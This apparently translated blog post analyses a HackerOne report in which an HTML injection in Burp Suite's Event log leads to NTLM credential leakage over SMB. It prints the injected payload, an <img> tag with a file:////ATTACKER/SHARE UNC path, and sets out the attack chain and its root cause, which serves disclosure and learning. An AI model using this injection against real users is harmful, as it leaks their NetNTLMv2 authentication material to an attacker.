Newshot Article title: Watching a HackerOne Expert's Operation: The Unremarkable-Looking HTML Injection
Body: Disclaimer: Do not use the related techniques in this article for illegal testing. The author and this official account are not responsible for any adverse consequences arising therefrom.
I wonder if you feel the same way I do: after using AI to hunt for vulnerabilities for a while, your whole brain gets a bit dull. When a task comes in, no matter what it is, the first thought is to let AI run it first (though, to be fair, on some points AI really is quicker than the old-school approach—take internal network lateral movement, for example; AI can quickly stitch together scattered points to form an attack chain, whereas with the old-school approach, who knows how fast that would be).
Alright, back to the point. I happened to have some free time recently, so I went on HackerOne again to check out the experts' techniques and learn a thing or two.
After browsing for a bit, this Burp HTML injection caught my eye at first glance. The main reason I paid attention to it was its eye-catching title, "From HTML Injection to Triggering SMB Authentication." Emmmm, and of course, the $1000 (haha, they really know their audience—I was just curious why an HTML injection would pay this much).
First, the attack chain
After going through it as a whole, the rough chain is like this:
Attacker crafts a "perfectly normal-looking" OpenAPI JSON
│
▼
Victim receives this response in Repeater
│ Right-click → Save OpenAPI requests to site map
▼
OpenAPI parsing fails (malformed $ref) → throws an exception
│ The exception message contains the attacker's string
▼
Event log splices the exception message into HTML verbatim
│ Victim clicks on this error entry
▼
JEditorPane renders → encounters <img src="file:////ATTACKER/SHARE/xx.gif">
│
▼
Windows: a UNC path? Let me connect to it!
│
▼
NTLM authentication → NetNTLMv2 challenge-response delivered to the attacker
Emmmmmmm, I can only say this exploit is still a bit hard to pull off—the victim has to personally cooperate with two steps before it can land on them. Of course, as long as the attack chain works, who cares how hard it is—just pay up, haha. Joking aside, let me briefly analyze the cause.
Cause analysis
The root of the problem is actually just one sentence: Burp treats the "error message from a failed parse" as trusted content and stuffs it directly into HTML.
Looking at the flow alone, every step is reasonable:
User executes Save OpenAPI requests to site map on the response
The response content has issues, parsing fails
The failure reason is written to the Event log for troubleshooting
The developer's mental process was probably: it's an error message, generated by the program itself—what could possibly go wrong? The problem is that the error message is mixed with the raw string provided by the attacker. When the parser errors out, it generates a sentence like this (ATTACKER / SHARE are placeholders):
Blocking URL resolution for 'http://127.0.0.1:1/><img src=file:////ATTACKER/SHARE/image.gif>'.
The attacker's string was placed verbatim into the error message.
Core vulnerability point: the log panel is actually a "mini browser"
The Event log detail area uses Java Swing's JEditorPane, which renders text/html. The developer customized the HTMLEditorKit's view factory and changed how paragraphs are handled, but image elements are still delegated to Swing's default ImageView. And ImageView's job is very simple: give me a src, and I'll go fetch the image.
So what if the src is this:
file:////attacker-IP/share-name/image.gif
Windows will treat it as the UNC path \\attacker-IP\share-name\image.gif.
Although this vulnerability is quite complex to exploit overall, the idea is still quite interesting. I doubt I'd ever find a point like this myself, haha—unless I harness the great power of AI.